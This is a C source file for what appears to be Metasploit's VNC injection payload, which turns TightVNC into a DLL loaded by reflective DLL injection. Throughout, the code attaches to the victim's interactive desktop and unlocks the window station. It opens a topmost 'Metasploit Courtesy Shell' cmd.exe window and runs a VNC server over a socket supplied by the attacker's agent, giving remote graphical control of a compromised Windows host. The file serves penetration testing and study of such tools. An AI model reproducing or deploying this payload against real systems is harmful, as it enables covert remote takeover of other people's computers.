/* * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- * March 2010: TightVNC 1.3.10 source modified as standalone x86/x64 DLL. * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- * Tested On x86 Windows: - NT4, 2000, XP, 2003, Vista, 2008, 7 * Tested On x64 Windows: - 2003, 2008R2, 7 * -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- */ #include "stdhdrs.h" #include "common.h" #include "vncServer.h" /* * Use Reflective DLL Injection. */ #define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR #define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN #include "ReflectiveLoader.c" HANDLE hMessageMutex = NULL; /* * Post an arbitrary message back to a loader. */ DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hPipe = NULL; BYTE * pBuffer = NULL; char cNamedPipe[MAX_PATH] = {0}; DWORD dwWritten = 0; DWORD dwLength = 0; do { if( !lpAgentContext ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER ); dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength; pBuffer = (BYTE *)malloc( dwLength ); if( !pBuffer ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE ); memcpy( pBuffer, &dwMessage, sizeof(DWORD) ); memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) ); memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength ); if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE ); _snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName ); dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength); while( TRUE ) { hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL ); if( hPipe != INVALID_HANDLE_VALUE ) break; if( GetLastError() != ERROR_PIPE_BUSY ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" ); if( !WaitNamedPipe( cNamedPipe, 20000 ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" ); } if( dwResult == ERROR_SUCCESS ) { if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" ); } } while( 0 ); CLOSE_HANDLE( hPipe ); if( pBuffer ) free( pBuffer ); ReleaseMutex( hMessageMutex ); return dwResult; } /* * */ VOID vncdll_unlockwindowstation( VOID ) { HMODULE hUser32 = LoadLibrary( "user32.dll" ); if( hUser32 ) { typedef BOOL (WINAPI * UNLOCKWINDOWSTATION)( HWINSTA ); UNLOCKWINDOWSTATION pUnlockWindowStation = (UNLOCKWINDOWSTATION)GetProcAddress( hUser32, "UnlockWindowStation" ); if( pUnlockWindowStation ) pUnlockWindowStation( GetProcessWindowStation() ); FreeLibrary( hUser32 ); } } /* * Switch to the input desktop and set it as this threads desktop. */ HDESK vncdll_getinputdesktop( BOOL bSwitchStation ) { DWORD dwResult = ERROR_ACCESS_DENIED; HWINSTA hWindowStation = NULL; HDESK hInputDesktop = NULL; HWND hDesktopWnd = NULL; do { if( bSwitchStation ) { // open the WinSta0 as some services are attached to a different window station. hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); if( !hWindowStation ) { if( RevertToSelf() ) hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS ); } // if we cant open the defaut input station we wont be able to take a screenshot if( !hWindowStation ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE ); // set the host process's window station to this sessions default input station we opened if( !SetProcessWindowStation( hWindowStation ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" ); } // grab a handle to the default input desktop (e.g. Default or WinLogon) hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED ); if( !hInputDesktop ) BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" ); // set this threads desktop to that of this sessions default input desktop on WinSta0 SetThreadDesktop( hInputDesktop ); } while( 0 ); return hInputDesktop; } /* * Create the Metasploit Courtesy Shell */ VOID vncdll_courtesyshell( HDESK desk ) { DWORD dwResult = ERROR_SUCCESS; HWND hShell = NULL; STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; char name_win[256] = {0}; char name_des[256] = {0}; char name_all[1024] = {0}; do { dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk ); memset(name_all, 0, sizeof(name_all)); GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &name_win, 256, NULL ); GetUserObjectInformation( desk, UOI_NAME, &name_des, 256, NULL ); _snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des ); memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFOA) ); si.cb = sizeof(STARTUPINFOA); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE; si.wShowWindow = SW_NORMAL; si.lpDesktop = name_all; si.lpTitle = "Metasploit Courtesy Shell (TM)"; si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE; if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) ) BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" ); CloseHandle( pi.hThread ); CloseHandle( pi.hProcess ); Sleep( 1000 ); hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" ); if( !hShell ) break; SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE ); } while( 0 ); } /* * Create and run a VNC server on this socket. */ DWORD vncdll_run( AGENT_CTX * lpAgentContext ) { DWORD dwResult = ERROR_SUCCESS; VSocketSystem * vsocketsystem = NULL; vncServer * vserver = NULL; HDESK desk = NULL; WSADATA WSAData = {0}; SOCKET sock = 0; BYTE bFlags = 0; do { dprintf( "[VNCDLL] vncdll_run. Started..." ); if( !lpAgentContext ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER ); hMessageMutex = CreateMutex( NULL, FALSE, NULL ); desk = vncdll_getinputdesktop( TRUE ); vncdll_unlockwindowstation(); if( !lpAgentContext->bDisableCourtesyShell ) vncdll_courtesyshell( desk ); vsocketsystem = new VSocketSystem(); if( !vsocketsystem->Initialised() ) BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED ); vserver = new vncServer(); vncClientId cid = vserver->AddClient( lpAgentContext ); dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid ); WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE ); vserver->RemoveClient( cid ); } while( 0 ); dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance ); delete vserver; delete vsocketsystem; CLOSE_HANDLE( hMessageMutex ); return 0; } /* * Grab a DWORD value out of the command line. * e.g. vncdll_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141 */ DWORD vncdll_command_dword( char * cpCommandLine, char * cpCommand ) { char * cpString = NULL; DWORD dwResult = 0; do { if( !cpCommandLine || !cpCommand ) break; cpString = strstr( cpCommandLine, cpCommand ); if( !cpString ) break; cpString += strlen( cpCommand ); dwResult = strtoul( cpString, NULL, 0 ); } while( 0 ); return dwResult; } /* * The real entrypoint for this app. */ VOID vncdll_main( char * cpCommandLine ) { DWORD dwResult = ERROR_INVALID_PARAMETER; __try { do { dprintf( "[VNCDLL] vncdll_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine ); if( !cpCommandLine ) break; if( strlen( cpCommandLine ) == 0 ) break; dprintf( "[VNCDLL] vncdll_main. lpCmdLine=%s", cpCommandLine ); if( strstr( cpCommandLine, "/v" ) ) { AGENT_CTX * lpAgentContext = NULL; lpAgentContext = (AGENT_CTX *)vncdll_command_dword( cpCommandLine, "/c:" ); dwResult = vncdll_run( lpAgentContext ); if( lpAgentContext ) { int i = 0; if( lpAgentContext->hCloseEvent ) CloseHandle( lpAgentContext->hCloseEvent ); /*for( i=0 ; i<4 ; i++ ) { if( lpAgentContext->dictionaries[i] ) { int size = ( sizeof(DICTMSG) + lpAgentContext->dictionaries[i]->dwDictLength ); memset( lpAgentContext->dictionaries[i], 0, size ); VirtualFree( lpAgentContext->dictionaries[i], 0, MEM_RELEASE ); } }*/ memset( lpAgentContext, 0, sizeof(AGENT_CTX) ); VirtualFree( lpAgentContext, 0, MEM_RELEASE ); } } } while( 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { dprintf( "[VNCDLL] vncdll_main. EXCEPTION_EXECUTE_HANDLER" ); dwResult = ERROR_UNHANDLED_EXCEPTION; } dprintf( "[VNCDLL=0x%08X] vncdll_main. ExitThread dwResult=%d\n\n", hAppInstance, dwResult ); ExitThread( dwResult ); } /* * DLL entry point. If we have been injected via RDI, lpReserved will be our command line. */ BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_PROCESS_ATTACH: hAppInstance = hInstance; if( lpReserved != NULL ) vncdll_main( (char *)lpReserved ); break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; }